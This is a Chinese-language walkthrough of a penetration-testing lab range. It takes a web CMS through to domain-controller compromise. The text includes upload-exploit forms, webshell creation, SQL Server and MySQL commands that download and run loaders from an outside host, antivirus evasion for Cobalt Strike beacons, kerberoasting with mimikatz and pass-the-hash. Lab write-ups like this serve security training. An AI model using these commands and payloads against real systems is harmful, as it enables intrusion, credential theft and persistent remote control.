暗月靶场WriteUp
Web1
信息收集
通过目录枚举拿到后台登录地址。
根据该 HDHCMS 搜索历史漏洞,知道该cms存在一个逻辑缺陷漏洞,攻击者可利用漏洞通过构造cookie即可直接登入后台,获取敏感信息。
未登录的cookie看不到啥信息,那么就尝试注册一个号试试。果然,在登录后响应的cookie中包含一个AdminCook字段,其中 AdminUser信息表明当前用户,那么结合逻辑漏洞可以知道这里存在垂直越权漏洞。
这里需要将之前的cookie信息删除。
突破点
在管理首页我们注意到站点使用到百度Ueditor1.4.3 富文本编辑器,并且该站点是IIS,由此想到该编辑器存在的文件上传漏洞,那么我们接下来就是寻找上传路径。
在编辑文章处需使用到该插件,因此我们可以轻松定位到上传路径。
Getshell
本地编辑一个ueditor.html 文件,修改上传路径。
1
2
3
4
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr: <input type="text" name="source[]" />
<input type="submit" value="Submit" />
</form>
制作一个图形马
1
2
copy a.jpg + b.aspx shell.aspx # windows cmd
cat a.jpg b.aspx > shell.aspx # linux shell
上传成功后返回这样:
权限维持
主机信息收集(web1)
数据库信息
1
2
findstr /s /i "password" *.conf
findstr /s /i "password" *.config
在 C:/Hws.com/HwsHostMaster/wwwroot/www.ackmoon.com/web/HdhApp.config 文件中找到数据库信息:
1
2
3
4
数据库地址:192.168.22.133
账号:sa
密码:pass123@.com
数据库:DemoHdhCms
内网IP信息
该计算机的内网IP是:192.168.22.128
进程信息
查看进程信息,发现存在360杀软,之后上传后门时我们就要针对性绕过杀软。
系统信息
通过比对 systeminfo 信息,找到可提权的漏洞。
上线CS
为了更好的内网渗透,我们使用CS工具进行后续步骤,因此首先我们得绕过杀软,上传cs后门。这里我使用简单 xor 算法加密payload。
这里使用 certutil.exe 工具下载文件时会被360告警,导致下载中断。因此我们使用之前的上传漏洞即可。
提权
通过烂土豆提权,即Erebus 插件中的MS16-075进行提权。
连接数据库
通过cs的默认socks4代理,并且本机上的DBeaver数据库连接工具通过proxifer转发代理,已连接内网数据库。
Data1
主机信息收集(Data1)
mssql执行命令,依旧对该数据库服务器进行一波信息收集。
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中默认禁止,如果用户拥有管理员 sa 权限可以用 sp_configure 重新开启
系统信息
通过比对 systeminfo 信息,找到可提权的漏洞,比如ms16-075。
内网IP信息
1
EXEC master..xp_cmdshell 'ipconfig';
根据执行的命令可知该计算机的内网IP有:192.168.22.133、192.168.76.107。
进程信息
查看进程信息,发现存在火绒。
上线CS
使用 certutil.exe 远程下载加载器,但火绒拦截导致失败了。
1
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://xxx.xxx.xxx.xxx:8899/demo.exe C:\Windows\Temp\loader.exe';
根据这篇文章利用mssql上线CS。
1
2
3
4
5
6
7
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int EXEC sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:/Windows/System32/certutil.exe','C:/windows/temp/sethc.exe';
declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell,'run',null,'C:/windows/temp/sethc.exe -urlcache -split -f "http://xxx.xxx.xxx.xxx:8899/demo.exe" C:/windows/temp/a.exe';
EXEC master..xp_cmdshell "C:/windows/temp/a.exe";
提权
通过烂土豆提权,即Erebus 插件中的MS16-075进行提权。
Web2
通过扫描192.168.22.133所在段,发现存在IP:192.168.22.135,并且开放端口:80。
根据提示信息使用账号密码:demo:demo登录,抓包查看登录请求,发现X-token:字段是通过JWT加密,解密发现其中存在字段username,因此我们可以尝试admin登录,即需要伪造该X-token字段,前提是我们需要知道secret。
使用 jwt_tool 工具进行爆破,得到key:Qweasdzxc5。
1
python3 .\jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjU2MTY3MzkxLCJuYmYiOjE2NTYxNjc0MDEsImV4cCI6MTY1NjE2Nzk5MSwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.onkSqSV6U5EMbF33V-BE5Z5c_Apbw0sXemZHhIzx4g0 -C -d rockyou.txt
之后通过 jwt 网站生成用户 admin 的token并进行登录,结果没其他功能。嗯~,那么这个key估计是用在其他地方了。
通过 wappalyzer 工具发现识别出 phpmyadmin 数据库管理器,经过爆破得到路径,并且刚好是这个数据库登录密码。
Getshell
接下来就是mysql getshell操作,我们知道有两种方法getshell:
-
outfile和dumpfile写shell
-
前提条件:
-
数据库当前用户为root权限;
-
知道当前网站的绝对路径;
-
PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie); -
写入的那个路径存在写入权限。
-
查询
secure_file_prive的参数:1
show global variables like "%secure%"
secure_file_prive=,结果为空的话,表示允许任何文件读写secure_file_prive=NULL,表示不允许任何文件读写secure_file_prive=某个路径,表示这个路径作为文件读写的路径在 mysql5.5 版本前,都是默认为空,允许读取;
在mysql5.6版本后 ,默认为
NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。因此这里不满足条件,只能通过日志来getshell。
-
-
-
-
日志getshell
1
2
3
set global general_log='on'; #开启日志
set global general_log_file='C:\\phpstudy_pro\\WWW\\b.php'; #设置日志位置为网站目录
select '<?php @eval($_POST["isok"]); ?>'; #写马
主机信息收集(web2)
系统信息
通过比对 systeminfo 信息,找到可提权的漏洞,比如ms16-075。
内网IP信息
根据执行的命令可知该计算机的内网IP有:192.168.22.135、10.10.10.138。并且发现该主机存在域环境。
进程信息
查看进程信息,发现没有杀软。
上线CS
发现该主机不出网,因此我们需要做端口转发。那么使用 goproxy 工具在data1 主机上做端口转发:
1
2
3
shell c:/windows/temp/sethc.exe -urlcache -split -f http://xxx.xxx.xxx.xxx:8899/proxy.exe c:\windows\temp\proxy.exe
shell c:/windows/temp/proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
netsh interface portproxy add v4tov4 listenaddress=192.168.22.133 listenport=8888 connectaddress=192.168.76.107 connectport=8080
这里我们将不出网的192.168.22.133段转发到出网的192.168.76.107所在段,那么我们在CS监听器中这样设置,http proxy 部分是内网转发端口,此外注意生成的exe需选择 Windows Executalbe(S)。
提权
因为web权限直接是system权限,那么就不需要提权了。
域环境渗透
凭证获取(web2)
SPN扫描(web2)
1
beacon> shell setspn -T ack123.com -q */*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
beacon> shell setspn -T ack123.com -q */*
[*] Tasked beacon to run: setspn -T ack123.com -q */*
[+] host called home, sent: 58 bytes
[+] received output:
正在检查域 DC=ack123,DC=com
CN=Administrator,CN=Users,DC=ack123,DC=com
mysql/16server-dc1.ack123.com
CN=16SERVER-DC1,OU=Domain Controllers,DC=ack123,DC=com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/16server-dc1.ack123.com
ldap/16server-dc1.ack123.com/ForestDnsZones.ack123.com
ldap/16server-dc1.ack123.com/DomainDnsZones.ack123.com
DNS/16server-dc1.ack123.com
GC/16server-dc1.ack123.com/ack123.com
RestrictedKrbHost/16server-dc1.ack123.com
RestrictedKrbHost/16SERVER-DC1
RPC/fc2c7a98-defb-4143-8052-ec1832c2a8f0._msdcs.ack123.com
HOST/16SERVER-DC1/ACK123
HOST/16server-dc1.ack123.com/ACK123
HOST/16SERVER-DC1
HOST/16server-dc1.ack123.com
HOST/16server-dc1.ack123.com/ack123.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/fc2c7a98-defb-4143-8052-ec1832c2a8f0/ack123.com
ldap/16SERVER-DC1/ACK123
ldap/fc2c7a98-defb-4143-8052-ec1832c2a8f0._msdcs.ack123.com
ldap/16server-dc1.ack123.com/ACK123
ldap/16SERVER-DC1
ldap/16server-dc1.ack123.com
ldap/16server-dc1.ack123.com/ack123.com
CN=krbtgt,CN=Users,DC=ack123,DC=com
kadmin/changepw
CN=12SERVER-DATA2,CN=Computers,DC=ack123,DC=com
WSMAN/12server-data2
WSMAN/12server-data2.ack123.com
RestrictedKrbHost/12SERVER-DATA2
HOST/12SERVER-DATA2
RestrictedKrbHost/12server-data2.ack123.com
HOST/12server-data2.ack123.com
CN=12SERVER-WEB2,CN=Computers,DC=ack123,DC=com
TERMSRV/12SERVER-WEB2
TERMSRV/12server-web2.ack123.com
WSMAN/12server-web2
WSMAN/12server-web2.ack123.com
RestrictedKrbHost/12SERVER-WEB2
HOST/12SERVER-WEB2
RestrictedKrbHost/12server-web2.ack123.com
HOST/12server-web2.ack123.com
发现存在 SPN!
mimikatz 申请创建票据,票据为RC4加密,所以可以通过爆破的方式得到服务对应用户的密码。
1
beacon> mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
beacon> mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com
[*] Tasked beacon to run mimikatz's kerberos::ask /target:mysql/16server-dc1.ack123.com command
[+] host called home, sent: 750703 bytes
[+] received output:
Asking for: mysql/16server-dc1.ack123.com
* Ticket Encryption Type & kvno not representative at screen
Start/End/MaxRenew: 2022/6/26 18:45:53 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Service Name (02) : mysql ; 16server-dc1.ack123.com ; @ ACK123.COM
Target Name (02) : mysql ; 16server-dc1.ack123.com ; @ ACK123.COM
Client Name (01) : 12SERVER-WEB2$ ; @ ACK123.COM
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
7e76b3a78c2f06ff268007883a813f26
Ticket : 0x00000017 - rc4_hmac_nt ; kvno = 0 [...]
凭证获取
1
beacon> mimikatz kerberos::list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
beacon> mimikatz kerberos::list
[*] Tasked beacon to run mimikatz's kerberos::list command
[+] host called home, sent: 750704 bytes
[+] received output:
[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:35:23 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : krbtgt/ACK123.COM @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
[00000001] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:24:32 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : krbtgt/ACK123.COM @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[00000002] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:45:53 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : mysql/16server-dc1.ack123.com @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
[00000003] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:35:23 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : cifs/16server-dc1.ack123.com @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
[00000004] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:35:23 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : 12SERVER-WEB2$ @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
[00000005] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2022/6/26 18:24:32 ; 2022/6/27 4:24:32 ; 2022/7/3 18:24:32
Server Name : ldap/16server-dc1.ack123.com/ACK123.COM @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
[00000006] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 2021/8/27 13:26:48 ; 2021/8/27 19:55:24 ; 2021/9/3 9:55:24
Server Name : LDAP/16server-dc1.ack123.com @ ACK123.COM
Client Name : 12server-web2$ @ ACK123.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
1
mimikatz kerberos::list /export
凭证爆破
使用工具爆破域管账号,最终得到域管密码:P@55w0rd!。
哈希传递
新建一个 Payload 为 Beacon SMB 的监听,探测一下存活主机,然后存活主机右键->Jump->psexec64,填写之前获取到的凭据。
域控上线
疑难解答
- 上传webshell后执行命令时会被360拦截,可以尝试换大马,例如icesword.aspx。























